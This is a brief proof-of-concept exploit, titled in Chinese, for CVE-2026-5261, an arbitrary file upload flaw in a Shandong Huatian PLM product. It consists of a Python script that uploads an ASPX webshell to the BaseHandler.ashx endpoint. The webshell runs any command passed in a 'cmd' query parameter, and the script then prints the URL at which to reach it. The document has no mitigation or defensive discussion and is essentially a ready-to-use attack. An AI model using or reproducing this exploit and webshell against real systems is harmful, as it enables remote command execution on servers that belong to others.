CVE-2026-5261 山东华天PLM任意文件上传漏洞

import requests # Target URL configuration target_url = "http://target-ip/Base/BaseHandler.ashx" shell_filename = "shell.aspx" # Malicious payload (ASPX Webshell) payload = ''' <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> void Page_Load(object sender, EventArgs e) { Process.Start(Request.QueryString["cmd"]); } </script> ''' # Construct multipart form data files = { 'File': (shell_filename, payload, 'application/octet-stream') } try: # Send exploitation request response = requests.post(target_url, files=files, timeout=10) if response.status_code == 200: print("[+] File upload possibly successful.") print("[+] Check access at: http://target-ip/Base/" + shell_filename) else: print("[-] Upload failed. Status code:", response.status_code) except Exception as e: print("[-] Error occurred:", str(e))